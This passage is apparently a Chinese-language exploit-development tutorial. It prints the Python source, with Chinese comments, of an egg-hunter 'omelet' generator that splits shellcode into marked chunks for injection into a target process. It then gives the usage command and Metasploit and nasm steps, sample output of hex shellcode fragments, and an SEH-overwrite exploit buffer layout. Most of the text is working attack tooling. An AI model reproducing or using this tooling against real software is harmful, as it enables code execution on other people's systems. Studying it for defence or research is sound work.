defMain(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'): if (marker_bytes.startswith('0x')): # 判断标记marker_bytes是否以0x开头 marker_bytes = int(marker_bytes[2:], 16) # 以16为基数(十六进制)进行整数转换 else: marker_bytes = int(marker_bytes) # 以10为基数(十进制)进行整数转换 if (egg_size.startswith('0x')): egg_size = int(egg_size[2:], 16) else: egg_size = int(egg_size) assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.' assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.' assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.' bin = open(bin_file).read() # 读取bin_file文件,即负责搜索egg的bin文件 marker_bytes_location = ord(bin[-3]) # 标记值marker max_index_location = ord(bin[-2]) # 索引值index egg_size_location = ord(bin[-1]) # 各egg内存块所占的字节数 code = bin[:-3] # 用于存放分段后的部分shellcode代码
shellcode = open(shellcode_file).read() max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0))) # 计算出每块egg的最大索引值,并要求其必须<=0xFF assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of %X ' '(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % ( max_index, max_index, egg_size, egg_size) marker_bytes_string = '' for i in range(0,3): marker_bytes_string += chr(marker_bytes & 0xFF) # 将标记值与0xFF进行与运算 marker_bytes >>= 8# 右移8位,相当于将标记值转换成0x280876ff
max_index_string = chr(max_index) egg_size_string = chr(egg_size - 5) # 扣去字节大小(1字节),索引值(1字节)和标记(3字节)所占用的5字节 # insert variables into code code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:] code = code[:max_index_location] + max_index_string + code[max_index_location+1:] code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:] output = [ '// This is the binary code that needs to be executed to find the eggs, ', '// recombine the orignal shellcode and execute it. It is %d bytes:' % ( len(code),), 'omelet_code = "%s";' % HexEncode(code), '', '// These are the eggs that need to be injected into the target process ', '// for the omelet shellcode to be able to recreate the original shellcode', '// (you can insert them as many times as you want, as long as each one is', '// inserted at least once). They are %d bytes each:' % (egg_size,) ] egg_index = 0 while shellcode: egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string egg += shellcode[:egg_size - 5] # 构造出完整的egg内存块:size + index + marker + shellcode if len(egg) < egg_size: # tail end of shellcode is smaller than an egg: add pagging: egg += '@' * (egg_size - len(egg)) # 每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充 output.append('egg%d = "%s";' % (egg_index, HexEncode(egg))) shellcode = shellcode[egg_size - 5:] egg_index += 1 open(output_file, 'w').write('\n'.join(output)) # 写入输出文件output_file
使用方法
关于使用方法,其实很简单,使用命令如下: C:\Users\riusksk> w32_SEH_omelet.py w32_SEH_omelet.bin shellcode.bin output.txt 127 0xBADA55 它需要先生成两个bin文件,一个是shellcode.bin,还有一个用于egg搜索的w32_SEH_omelet.bin,这里用Peter Van Eeckhoutte编写的egg-to-omelet hunter程序来生成bin文件以代替w32_SEH_omelet.bin也是可以的。关于shellcode.bin,你可以先用metasploit先生成shellcode,然后用perl/python将shellcode写入一个bin文件即可;而w32_SEH_omelet.bin可直接用nasm去编译SkyLined的w32_SEH_omelet.asm或者Peter Van Eeckhoutte写的corelanc0d3r_omelet.asm从而得到此bin文件。Output.txt是输出文件,用来保存生成各个egg以及omelet代码,后面的127是每一块egg内存块的字节数,而0xBADA55是标记值,你也可采用其它3字节数据,比如w00(0x773030),最后生成的输出文件内容类似如下:
1 2 3 4 5 6 7 8 9 10 11
// This is the binary code that needs to be executed to find the eggs, // recombine the orignal shellcode and execute it. It is82 bytes: omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08"; // These are the eggs that need to be injected into the target process // for the omelet shellcode to be able to recreate the original shellcode // (you can insert them as many times as you want, as long as each one is // inserted at least once). They are 127 bytes each: egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57"; egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD"; egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
生成文件后我们就可以在实际漏洞利用中构造出类似下面这样的exploit:
1
【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】